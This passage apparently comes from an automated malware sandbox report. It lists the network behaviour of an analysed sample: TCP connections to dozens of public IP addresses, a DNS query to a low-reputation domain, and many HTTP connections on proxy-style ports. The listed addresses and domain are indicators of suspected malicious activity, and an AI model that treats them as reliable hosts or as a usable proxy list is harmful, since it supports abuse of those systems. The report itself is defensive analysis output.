Source: global traffic	TCP traffic: 156.200.116.74 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 46.182.6.69 ports 41041,63049,0,1,25295,4,46383
Source: global traffic	TCP traffic: 66.228.35.209 ports 14321,46695,23344,2,4,6,29466,9
Source: global traffic	TCP traffic: 104.128.103.32 ports 64312,1,2,3,4,6
Source: global traffic	TCP traffic: 103.121.90.216 ports 15463,6422,44419,8680,1,3,4,5,6,6546,15229
Source: global traffic	TCP traffic: 165.227.104.122 ports 41443,29992,3,5,8,9,58839
Source: global traffic	TCP traffic: 151.236.39.7 ports 58111,60637,57248,2,4,5,7,8
Source: global traffic	TCP traffic: 103.29.90.66 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 167.172.159.43 ports 48983,1,3,8,9,60153,32988,13988
Source: global traffic	TCP traffic: 5.252.23.206 ports 1080,1,2,3,3128,8
Source: global traffic	TCP traffic: 94.23.220.136 ports 25256,0,3,5,8,21062,35805,19547
Source: global traffic	TCP traffic: 51.15.240.207 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 162.240.19.133 ports 38673,3,6,7,8,42690,51226
Source: global traffic	TCP traffic: 124.158.182.34 ports 7654,10808,4,5,6,7
Source: global traffic	TCP traffic: 37.187.73.7 ports 12582,1,2,5,8,64052
Source: global traffic	TCP traffic: 107.180.101.18 ports 46503,21643,1,3,33302,27053,59368,26850,7,8,3663,37411,38117,5855,32925
Source: global traffic	TCP traffic: 109.205.181.27 ports 16296,48977,7663,1,2,6,25783,9,15737,2419
Source: global traffic	TCP traffic: 216.10.242.18 ports 40571,0,3,4,9,9735,3409
Source: global traffic	TCP traffic: 104.238.111.107 ports 5484,5452,45883,3230,23667,0,56225,2,30026,3,15419,60214,36049,6,7757,7999,53777
Source: global traffic	TCP traffic: 12.218.209.130 ports 53281,1,2,3,5,8
Source: global traffic	TCP traffic: 161.97.170.209 ports 16521,4441,61841,2296,43129,1,4,12641,30529,47570,13636
Source: global traffic	TCP traffic: 37.228.65.107 ports 0,1,2,51032,3,5
Source: global traffic	TCP traffic: 65.49.82.7 ports 40202,24258,0,2,4,46770,31977
Source: global traffic	TCP traffic: 82.113.157.122 ports 31280,0,1,2,3,8
Source: global traffic	TCP traffic: 51.158.105.107 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 107.180.89.55 ports 25508,0,1,2,4,9,12940
Source: global traffic	TCP traffic: 162.240.10.35 ports 37761,0,4,5,6,7,32671,47056
Source: global traffic	TCP traffic: 107.180.103.214 ports 45870,17084,0,1,4,7,8
Source: global traffic	TCP traffic: 194.233.78.142 ports 49628,42420,39067,43274,46115,39852,36431,35760,41119,1,34953,4,30295,31681,33551,34199,9,35906,39833,47152
Source: global traffic	TCP traffic: 207.244.252.14 ports 62963,54190,2,3,55842,6,9
Source: global traffic	TCP traffic: 167.99.123.158 ports 48953,57581,27237,59431,1546,2,3,50450,7,60880,34913
Source: global traffic	TCP traffic: 92.204.134.38 ports 52929,25825,15393,38044,42571,2,1555,5,54467,28695,7,9,12752,59727
Source: global traffic	TCP traffic: 146.59.178.222 ports 1,2,12438,3,4,8
Source: global traffic	TCP traffic: 188.164.197.178 ports 1,3,36139,6,45086,9
Source: global traffic	TCP traffic: 51.15.254.129 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 196.202.210.73 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 109.238.12.156 ports 46962,29834,1163,61743,27241,1,3,4,26770,6,7,22472,55724
Source: global traffic	TCP traffic: 162.210.192.136 ports 26719,15095,1,2,6,7,9
Source: global traffic	TCP traffic: 103.113.71.230 ports 1080,1081,1,2,3,3128,8
Source: global traffic	TCP traffic: 41.65.236.35 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 67.43.227.228 ports 24805,9039,25813,0,3,30883,17719,8,6933,32425
Source: global traffic	TCP traffic: 67.43.227.227 ports 17685,9023,16251,19567,14681,18475,31071,20469,1,3739,4,3621,6,32065,8,10011,18309,4479,32425,13897,10863
Source: global traffic	TCP traffic: 67.43.227.226 ports 25639,22775,2,3,10867,5,6,9,30999
Source: global traffic	TCP traffic: 51.79.87.144 ports 8533,22500,1,3,54395,6,8,18636
Source: global traffic	TCP traffic: 147.45.40.89 ports 33054,0,34006,3,4,6
Source: global traffic	TCP traffic: 75.119.145.154 ports 17621,1,2,6,7,21072
Source: global traffic	TCP traffic: 98.162.25.4 ports 1,31654,3,4,5,6
Source: global traffic	TCP traffic: 197.248.86.237 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 41.65.236.57 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 75.119.145.169 ports 21039,10293,14166,25323,0,4,5,7,8,48057,28040
Source: global traffic	TCP traffic: 67.43.228.253 ports 12361,7491,28143,1,14869,4,7,20371,3993,9,4789,11983,3889
Source: global traffic	TCP traffic: 107.180.101.226 ports 1,2,5,23031,6,59810,51526,6539
Source: global traffic	TCP traffic: 104.248.158.78 ports 61725,1,2,5,6,7
Source: global traffic	TCP traffic: 5.9.98.142 ports 3080,3233,2692,3000,0,3129,3,8,3629
Source: global traffic	TCP traffic: 92.204.136.149 ports 16686,12570,17270,0,1,2,7
Source: global traffic	TCP traffic: 50.63.12.101 ports 61797,3580,32423,2,2953,3,10647,5,9
Source: global traffic	TCP traffic: 148.72.177.90 ports 63853,28106,63218,27727,64947,3,5,2466,6,25211,8
Source: global traffic	TCP traffic: 139.162.181.177 ports 1,27660,5,6,9,19659
Source: global traffic	TCP traffic: 8.213.128.6 ports 11,20002,9992,8080,2020,8,9,7777,8118,8889
Source: global traffic	TCP traffic: 117.160.250.163 ports 8080,8081,9990,0,8,80,81,82,9999,8828
Source: global traffic	TCP traffic: 162.215.223.71 ports 47933,3,5,8,9,38958
Source: global traffic	TCP traffic: 186.215.87.194 ports 6000,6025,6002,8896,0,2,6
Source: global traffic	TCP traffic: 132.148.129.254 ports 41026,45366,63418,0,1,6,7,8,60781
Source: global traffic	TCP traffic: 54.39.50.68 ports 44884,44612,20132,24535,1,2,4,6
Source: global traffic	TCP traffic: 188.164.196.31 ports 49426,62105,2,4,6,52359,9
Source: global traffic	TCP traffic: 140.227.61.156 ports 23456,2,3,4,5,6
Source: global traffic	TCP traffic: 162.240.21.140 ports 32060,3,4,5,6,9,46395
Source: global traffic	TCP traffic: 51.15.21.216 ports 64202,62389,63425,61810,2,3,4,5,6,51448
Source: global traffic	TCP traffic: 67.43.236.19 ports 1,2,3,5,32175,7,10587
Source: global traffic	TCP traffic: 213.136.78.200 ports 28513,0,40927,2,4,7,9
Source: global traffic	TCP traffic: 67.43.236.20 ports 25947,8333,20695,14133,23409,1143,32163,33175,26591,14699,10851,18657,25181,31619,26169,20627,0,2,1741,3203,5,25431,1585,6,22681,11199,9,32061,11129,2685,31979,10671,5953,6605,11049,11489,32989,18841,29619,9053,27879,16829,27075,32177,2455,28643,10121,16349,1849
Source: global traffic	TCP traffic: 72.10.164.178 ports 25823,31871,30389,1731,13005,13145,32823,31831,26193,25639,19771,5497,8521,23213,3251,2481,25757,20325,0,12529,2,10801,5,7,10121,9,1707,29053,29075,5901
Source: global traffic	TCP traffic: 171.244.140.160 ports 23867,42456,44233,42968,56076,0,5,6,53882,7,37400,9537,17525
Source: global traffic	TCP traffic: 31.200.242.201 ports 12196,4531,9985,1,2,6,15755,9
Source: global traffic	TCP traffic: 5.183.179.117 ports 45698,4,5,6,8,9
Source: global traffic	TCP traffic: 43.153.133.208 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 167.86.69.142 ports 37172,46411,49369,35196,46859,1,2,3,7,32947,33912
Source: global traffic	TCP traffic: 104.194.8.163 ports 20435,0,2,3,4,5
Source: global traffic	TCP traffic: 176.37.21.46 ports 41890,0,1,4,8,9
Source: global traffic	TCP traffic: 162.0.220.222 ports 8776,64731,53242,2,3,4,5
Source: global traffic	TCP traffic: 109.107.181.245 ports 33042,33190,33070,32578,2,3,4,30052,34288,33056,8,32855
Source: global traffic	TCP traffic: 91.134.140.160 ports 16487,57320,27207,9141,0,32588,2,11946,4,8879,5401,9,49042,12217
Source: global traffic	TCP traffic: 185.129.250.183 ports 14462,32284,26777,2,3,4,8
Source: global traffic	TCP traffic: 72.195.34.60 ports 1,2,3,7,9,27391
Source: global traffic	TCP traffic: 104.248.151.220 ports 60915,0,1,51040,5,6,59755,9
Source: global traffic	TCP traffic: 209.216.90.208 ports 37683,20308,31470,0,1,12922,3,4,7,13203
Source: global traffic	TCP traffic: 208.87.131.151 ports 20971,26939,37110,4682,49314,44288,46663,25369,20754,2,3,5,6,57951,51016,9,37977
Source: global traffic	TCP traffic: 54.38.179.203 ports 23814,35032,60406,0,4,6,46030
Source: global traffic	TCP traffic: 208.109.13.93 ports 27877,5190,22401,0,3,4,8,34308
Source: global traffic	TCP traffic: 79.137.204.161 ports 13892,32381,1,31893,10645,2,3,32862,33992,8,11066,30545
Source: global traffic	TCP traffic: 162.0.220.234 ports 8776,11919,53242,2,3,4,5,44196
Source: global traffic	TCP traffic: 92.205.110.118 ports 46327,27425,59150,0,1,54440,3,60314,4,6,31396

Performs DNS queries to domains with low reputation

Source:

DNS query: mail.supplyvan.xyz

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 50
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 3080
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 53299
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 5022
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 25007
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 5032
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 4228
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 17317
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 2020
Source: unknown	Network traffic detected: HTTP traffic on port 4228 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 25007
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 9445
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 33466
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 33328
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 46523
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 49524
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 53299
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 25007
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 17317
Source: unknown	Network traffic detected: HTTP traffic on port 50334 -> 49579
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 5032
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 60406
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 6764
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50492 -> 9741
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 39796
Source: unknown	Network traffic detected: HTTP traffic on port 50463 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 41866
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 9251
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 7777 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 32650
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 17270
Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50326 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50590 -> 6467
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 50480 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 15419
Source: unknown	Network traffic detected: HTTP traffic on port 50601 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 50449 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50510
Source: unknown	Network traffic detected: HTTP traffic on port 50564 -> 11
Source: unknown	Network traffic detected: HTTP traffic on port 50586 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 50700 -> 20132
Source: unknown	Network traffic detected: HTTP traffic on port 9741 -> 50492
Source: unknown	Network traffic detected: HTTP traffic on port 6764 -> 50429
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49579 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 6432
Source: unknown	Network traffic detected: HTTP traffic on port 50797 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 13326
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50591
Source: unknown	Network traffic detected: HTTP traffic on port 50757 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 46523
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 9445
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 44957
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 15084
Source: unknown	Network traffic detected: HTTP traffic on port 50733 -> 8291
Source: unknown	Network traffic detected: HTTP traffic on port 50736 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50831 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 54368
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 9999
Source: unknown	Network traffic detected: HTTP traffic on port 6467 -> 50590
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 17317
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50752 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50815 -> 5032
Source: unknown	Network traffic detected: HTTP traffic on port 50766 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 50717 -> 35618
Source: unknown	Network traffic detected: HTTP traffic on port 50715 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 128
Source: unknown	Network traffic detected: HTTP traffic on port 50880 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 33328
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50480
Source: unknown	Network traffic detected: HTTP traffic on port 50845 -> 35860
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50720 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 39796
Source: unknown	Network traffic detected: HTTP traffic on port 50869 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 23859
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50700 -> 20132
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 9251
Source: unknown	Network traffic detected: HTTP traffic on port 50769 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 38080
Source: unknown	Network traffic detected: HTTP traffic on port 50860 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 50586
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 53882
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50901 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 44612
Source: unknown	Network traffic detected: HTTP traffic on port 50852 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 7890
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 35982
Source: unknown	Network traffic detected: HTTP traffic on port 50971 -> 32988
Source: unknown	Network traffic detected: HTTP traffic on port 50863 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50821 -> 8089
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50865 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 50934 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50947 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 56367
Source: unknown	Network traffic detected: HTTP traffic on port 128 -> 50812
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 60083
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50957 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 4441
Source: unknown	Network traffic detected: HTTP traffic on port 50988 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 48425
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 54395
Source: unknown	Network traffic detected: HTTP traffic on port 51035 -> 9180
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 8291
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 38080
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 41649
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 46015
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 44957
Source: unknown	Network traffic detected: HTTP traffic on port 51020 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 15084
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 7878
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51072 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 51092 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51074 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51055 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51075 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 11673
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 46523
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50720
Source: unknown	Network traffic detected: HTTP traffic on port 50979 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 53299
Source: unknown	Network traffic detected: HTTP traffic on port 50700 -> 20132
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 17525
Source: unknown	Network traffic detected: HTTP traffic on port 32650 -> 50382
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51077 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50995 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50791 -> 54368
Source: unknown	Network traffic detected: HTTP traffic on port 7890 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50971 -> 32988
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 56862
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 51093 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51121 -> 38080
Source: unknown	Network traffic detected: HTTP traffic on port 50695 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50393 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 8730
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51084 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 51114 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51060 -> 36457
Source: unknown	Network traffic detected: HTTP traffic on port 51087 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50491 -> 53948
Source: unknown	Network traffic detected: HTTP traffic on port 51113 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51079 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 50299 -> 2002
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 9251
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51091 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50583 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51017 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 5032
Source: unknown	Network traffic detected: HTTP traffic on port 51153 -> 31280
Source: unknown	Network traffic detected: HTTP traffic on port 51177 -> 38080
Source: unknown	Network traffic detected: HTTP traffic on port 50717 -> 35618
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51143 -> 8291
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51198 -> 54467
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51126 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 44957
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 41649
Source: unknown	Network traffic detected: HTTP traffic on port 51187 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 128
Source: unknown	Network traffic detected: HTTP traffic on port 51145 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50971 -> 32988
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 27877
Source: unknown	Network traffic detected: HTTP traffic on port 51199 -> 31633
Source: unknown	Network traffic detected: HTTP traffic on port 50682 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50697 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51224 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 46859
Source: unknown	Network traffic detected: HTTP traffic on port 51293 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 9445
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 15084
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 7757
Source: unknown	Network traffic detected: HTTP traffic on port 51235 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51175 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51243 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50769 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50787 -> 53882
Source: unknown	Network traffic detected: HTTP traffic on port 8089 -> 50821
Source: unknown	Network traffic detected: HTTP traffic on port 51264 -> 34139
Source: unknown	Network traffic detected: HTTP traffic on port 50562 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51279 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51295 -> 41920
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 11232
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 17317
Source: unknown	Network traffic detected: HTTP traffic on port 50768 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 19072
Source: unknown	Network traffic detected: HTTP traffic on port 50818 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 50829 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51366 -> 34409
Source: unknown	Network traffic detected: HTTP traffic on port 50 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 51167 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 43840
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 51079
Source: unknown	Network traffic detected: HTTP traffic on port 51344 -> 33190
Source: unknown	Network traffic detected: HTTP traffic on port 128 -> 51174
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51051 -> 48606
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50835 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51091
Source: unknown	Network traffic detected: HTTP traffic on port 51085 -> 19404
